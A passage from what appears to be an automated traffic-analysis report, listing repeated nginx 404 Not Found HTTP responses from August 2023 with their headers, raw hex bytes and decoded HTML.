72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:50 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:52 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:56 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:07 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:09 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:11 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:14 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:19 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 